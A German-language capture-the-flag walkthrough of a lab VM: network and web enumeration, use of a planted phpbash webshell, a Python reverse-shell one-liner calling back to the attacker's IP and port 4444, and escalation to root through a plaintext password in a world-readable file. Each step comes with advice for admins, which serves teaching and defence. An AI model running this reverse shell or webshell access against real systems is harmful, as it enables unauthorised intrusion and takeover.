192.168.2.113 08:00:27:0d:31:73 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment nach aktiven Hosts zu durchsuchen, indem ARP-Pakete gesendet werden.
Bewertung: Ein Host wurde auf der IP-Adresse `192.168.2.113` identifiziert. Die MAC-Adresse `08:00:27:0d:31:73` und der dazugehörige Hersteller "PCS Systemtechnik GmbH" deuten stark darauf hin, dass es sich um eine VirtualBox-VM handelt, welche das Zielsystem ist.
Empfehlung (Pentester): Verwende `192.168.2.113` als Ziel-IP für die nachfolgenden Scans und Enumerationsschritte.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen. Die Segmentierung des Netzwerks kann die Sichtbarkeit und Angriffsfläche reduzieren.
192.168.2.113 priv.vln
Analyse: Die lokale Hosts-Datei (`/etc/hosts`) auf dem Angreifer-System wird bearbeitet, um der Ziel-IP `192.168.2.113` den Hostnamen `priv.vln` zuzuweisen.
Bewertung: Dies erleichtert das Ansprechen des Ziels über einen Namen statt der IP, was insbesondere bei Web-Scans nützlich ist, falls virtuelle Hosts konfiguriert sind.
Empfehlung (Pentester): Verwende `priv.vln` in den folgenden Schritten, insbesondere bei Web-Enumerationstools.
Empfehlung (Admin): Keine Aktion auf dem Zielsystem erforderlich, dies ist eine lokale Konfiguration des Angreifers.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://priv.vln [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403,405,500 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Exclude Status codes: 403,404 [+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak [+] No TLS certificate verification: true [+] Follow Redirect: false [+] Timeout: 10s =============================================================== 2023/XX/XX XX:XX:XX Starting gobuster =============================================================== http://priv.vln/index.html (Status: 200) [Size: 240] http://priv.vln/readme.txt (Status: 200) [Size: 39] http://priv.vln/robots.txt (Status: 200) [Size: 37] =============================================================== 2023/XX/XX XX:XX:XX Finished ===============================================================
Analyse: Das Tool `gobuster` wird im `dir`-Modus verwendet, um Verzeichnisse und Dateien auf dem Webserver unter `http://priv.vln` zu finden. Es nutzt eine Wortliste (`directory-list-2.3-medium.txt`) und sucht nach verschiedenen Dateiendungen (`-x ...`). `-k` ignoriert TLS-Zertifikatfehler (hier irrelevant, da HTTP). `-b '403,404'` blendet "Forbidden" und "Not Found"-Antworten aus.
Bewertung: Gobuster hat drei interessante Dateien gefunden: * `/index.html`: Die Hauptseite. * `/readme.txt`: Eine Readme-Datei, könnte Hinweise enthalten. * `/robots.txt`: Eine Datei, die Anweisungen für Webcrawler enthält, oft aber auch unbeabsichtigt Pfade preisgibt.
Empfehlung (Pentester): Untersuche den Inhalt aller drei gefundenen Dateien, insbesondere `robots.txt` und `readme.txt`.
Empfehlung (Admin): Stelle sicher, dass `robots.txt` keine sensiblen Pfade auflistet. Entferne unnötige Dateien wie `readme.txt` von Webservern.
# Inhalt von http://priv.vln/robots.txt User-agent: * Disallow: /phpbash.php
phpbash is good for webshell :)
Analyse: Die Untersuchung der gefundenen Dateien ergibt: * `robots.txt` verbietet Crawlern den Zugriff auf `/phpbash.php`. Für einen Angreifer ist dies ein deutlicher Hinweis auf eine interessante Ressource. * `readme.txt` bestätigt, dass `phpbash` als Webshell gedacht ist.
Bewertung: Ein extrem wertvoller Fund! Die `robots.txt` und `readme.txt` weisen direkt auf eine vorhandene Webshell (`phpbash.php`) hin. Dies ist der wahrscheinlichste Weg für den initialen Zugriff.
Empfehlung (Pentester): Greife direkt auf `http://priv.vln/phpbash.php` zu, um die Webshell zu nutzen.
Empfehlung (Admin): **Kritisch!** Entferne sofort alle Webshells vom System. Verwende `robots.txt` nicht, um sicherheitsrelevante Pfade zu "verstecken". Überwache das Dateisystem auf verdächtige PHP- oder Skriptdateien.
# Interaktion mit phpbash über den Browser apache@my_privilege:/var/www/html# id uid=48(apache) gid=48(apache) groups=48(apache) apache@my_privilege:/var/www/html# sudo -l sudo: sorry, you must have a tty to run sudo
Analyse: Der Zugriff auf `http://priv.vln/phpbash.php` über einen Webbrowser öffnet eine Webshell. 1. Der Befehl `id` wird in der Webshell ausgeführt und bestätigt, dass die Shell als Benutzer `apache` (UID 48) läuft. Der initiale Zugriff ist somit erfolgt. 2. Der Versuch, `sudo -l` auszuführen, um die `sudo`-Rechte zu prüfen, schlägt fehl mit der Meldung `sudo: sorry, you must have a tty to run sudo`. Dies liegt daran, dass die Webshell keine vollwertige interaktive TTY (Teletypewriter)-Sitzung bereitstellt, die `sudo` standardmäßig erfordert.
Bewertung: Wir haben eine funktionierende Webshell als `apache`. Der direkte Weg über `sudo` ist blockiert, aber wir können andere Befehle ausführen und benötigen eine stabilere, interaktive Shell für weitere Aktionen und Privilege Escalation.
Empfehlung (Pentester): Nutze die Webshell, um eine Reverse Shell zum Angreifer-System aufzubauen. Dies umgeht das TTY-Problem und bietet eine flexiblere Umgebung. Gängige Methoden sind Python, Perl, Netcat, Bash.
Empfehlung (Admin): Entferne die Webshell (`phpbash.php`). Konfiguriere `sudo` so, dass keine TTY erforderlich ist (`Defaults !requiretty` in `sudoers`), nur wenn absolut notwendig und die Sicherheitsimplikationen verstanden sind (nicht empfohlen für Webserver-Benutzer). Überwache Webserver-Prozesse auf verdächtige Aktivitäten.
Listening on 0.0.0.0 4444
apache@my_privilege:/var/www/html# python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Listening on 0.0.0.0 4444 Connection received on 192.168.2.113 35400
sh: no job control in this shell sh-4.2$
Analyse: 1. Auf dem Angreifer-System wird mit `nc -lvnp 4444` ein Listener auf Port 4444 gestartet. 2. In der `phpbash`-Webshell wird ein Python3-Einzeiler ausgeführt. Dieser Code: * Importiert notwendige Module (`socket`, `subprocess`, `os`). * Erstellt einen TCP-Socket (`socket.AF_INET, socket.SOCK_STREAM`). * Verbindet sich zur IP `192.168.2.199` (IP des Angreifers) auf Port `4444`. * Dupliziert die Dateideskriptoren des Sockets auf Standard-Input (0), Standard-Output (1) und Standard-Error (2) mittels `os.dup2`. Das bedeutet, dass alle Ein-/Ausgaben der nachfolgenden Prozesse über den Netzwerk-Socket laufen. * Startet eine interaktive Shell (`/bin/sh -i`) mit `subprocess.call`. 3. Der `nc`-Listener auf dem Angreifer-System meldet eine eingehende Verbindung von der Ziel-IP (`192.168.2.113`). 4. Wir erhalten einen Shell-Prompt (`sh-4.2$`) in unserem `nc`-Listener. Die Meldung `sh: no job control in this shell` ist typisch für einfache Reverse Shells.
Bewertung: Eine interaktive Reverse Shell wurde erfolgreich als Benutzer `apache` etabliert. Dies ist ein stabilerer und flexiblerer Zugriff als die Webshell und umgeht das TTY-Problem von `sudo`.
Empfehlung (Pentester): Stabilisiere die Shell weiter, falls nötig (z.B. mit `python -c 'import pty; pty.spawn("/bin/bash")'`). Beginne mit der Enumeration für Privilege Escalation aus dieser Shell.
Empfehlung (Admin): Egress-Filterung auf der Firewall des Zielsystems kann ausgehende Verbindungen zu unbekannten Zielen blockieren. Überwache Prozesse auf verdächtige Python-Ausführungen oder Netzwerkverbindungen vom Webserver-Benutzer.
armour
total 24 drwxrwxrwx 3 armour armour 121 Mar 21 2020 . drwxr-xr-x. 3 root root 19 Apr 11 2018 .. -rwxrwxrwx 1 armour armour 123 Mar 19 2020 .bash_history -rwxrwxrwx 1 armour armour 27 Mar 17 2020 .bashrc drwxrwxrwx 3 armour armour 18 Mar 17 2020 .local -rwxrwxrwx 1 root armour 603 Mar 17 2020 .viminfo -rw-r--r-- 1 armour armour 30 Mar 21 2020 Credentials.txt -rwxrwxrwx 1 root root 17 Mar 17 2020 backup.sh -rwxrwxrwx 1 root root 8 Mar 17 2020 runme.sh
Analyse: In der Reverse Shell als `apache` wird das `/home`-Verzeichnis untersucht. Es wird ein Benutzer `armour` gefunden. Anschließend wird in das Home-Verzeichnis von `armour` gewechselt (`cd /home/armour/`) und der Inhalt mit `ls -la` aufgelistet. Auffällig sind die sehr offenen Berechtigungen (`drwxrwxrwx`, `-rwxrwxrwx`) für viele Dateien und Verzeichnisse, die dem Benutzer `apache` das Lesen und teilweise Schreiben ermöglichen. Eine Datei namens `Credentials.txt` sticht ins Auge.
Bewertung: Die unsicheren Berechtigungen im Home-Verzeichnis von `armour` sind ein klares Anzeichen für eine Fehlkonfiguration. Sie erlauben dem `apache`-Benutzer, potenziell sensible Dateien wie `Credentials.txt` zu lesen. Dies ist ein vielversprechender Pfad zur Privilege Escalation.
Empfehlung (Pentester): Untersuche den Inhalt der Datei `Credentials.txt` mit `cat`. Untersuche auch die Skripte `backup.sh` und `runme.sh` auf mögliche Schwachstellen oder Hinweise.
Empfehlung (Admin): Setze korrekte, restriktive Berechtigungen für Home-Verzeichnisse und Dateien (Standard: `700` oder `750` für Verzeichnisse, `600` oder `640` für Dateien). Vermeide unsichere Berechtigungen wie `777`.
my password is
md5(rootroot1)
Analyse: Der Inhalt der Datei `Credentials.txt` wird angezeigt. Er enthält den Text "my password is" gefolgt von `md5(rootroot1)`.
Bewertung: Dies ist ein direkter, wenn auch etwas kryptischer Hinweis auf ein Passwort. Im Kontext eines CTFs ist es am wahrscheinlichsten, dass dies bedeutet: 1. Das Passwort *ist* der literal String `md5(rootroot1)` (unwahrscheinlich). 2. Das Passwort ist das Ergebnis der MD5-Hashfunktion angewendet auf `rootroot1` (möglich, aber dann müsste man es erst hashen). 3. Das Passwort ist `rootroot1`, und die Datei ist nur eine Notiz *darüber*. Dies ist die häufigste Interpretation in solchen Szenarien, da es den direkten nächsten Schritt ermöglicht. Der nächste Schritt im Log (`su root`) legt nahe, dass Option 3 zutrifft und `rootroot1` das Passwort für den `root`-Benutzer ist.
Empfehlung (Pentester): Versuche, dich mit `su root` als Root anzumelden und verwende das Passwort `rootroot1`. Falls das fehlschlägt, berechne den MD5-Hash von `rootroot1` und versuche es damit.
Empfehlung (Admin): Speichere niemals Passwörter oder derart direkte Hinweise darauf in Klartextdateien. Verwende sichere Passwort-Manager und etablierte Authentifizierungsmethoden.
Password: rootroot1
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `su root` wird verwendet, um zum Root-Benutzer zu wechseln. Das Passwort `rootroot1` (basierend auf dem Fund in `Credentials.txt`) wird eingegeben. Der Befehl ist erfolgreich, der Prompt ändert sich zu `[root@my_privilege armour]#`. Der anschließende `id`-Befehl bestätigt `uid=0(root)`.
Bewertung: Fantastisch! Die Privilege Escalation war erfolgreich. Durch das Auslesen der schlecht gesicherten `Credentials.txt`-Datei konnte das Root-Passwort (implizit `rootroot1`) ermittelt und `su` verwendet werden, um volle Root-Rechte zu erlangen.
Empfehlung (Pentester): Suche nach der Root-Flag, typischerweise im `/root`-Verzeichnis.
Empfehlung (Admin): Sichere alle Dateien mit Zugangsdaten korrekt. Erzwinge starke, eindeutige Passwörter. Korrigiere die unsicheren Berechtigungen im `/home/armour`-Verzeichnis.
proof.txt
Best of Luck
628435356e49f976bab2c04948d22fe4
Analyse: Als Root-Benutzer wird mit `cd ~` in das Home-Verzeichnis (`/root`) gewechselt. `ls` zeigt eine Datei `proof.txt`. `cat proof.txt` zeigt deren Inhalt an.
Bewertung: Die Root-Flag `628435356e49f976bab2c04948d22fe4` wurde erfolgreich in der Datei `proof.txt` im Root-Home-Verzeichnis gefunden.
Empfehlung (Pentester): Dokumentiere die Root-Flag. Suche nach der User-Flag (vermutlich in `/home/armour/user.txt` oder ähnlich, wurde im Log aber nicht explizit gesucht).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag, aber die vorherigen Empfehlungen zur Absicherung sind relevant.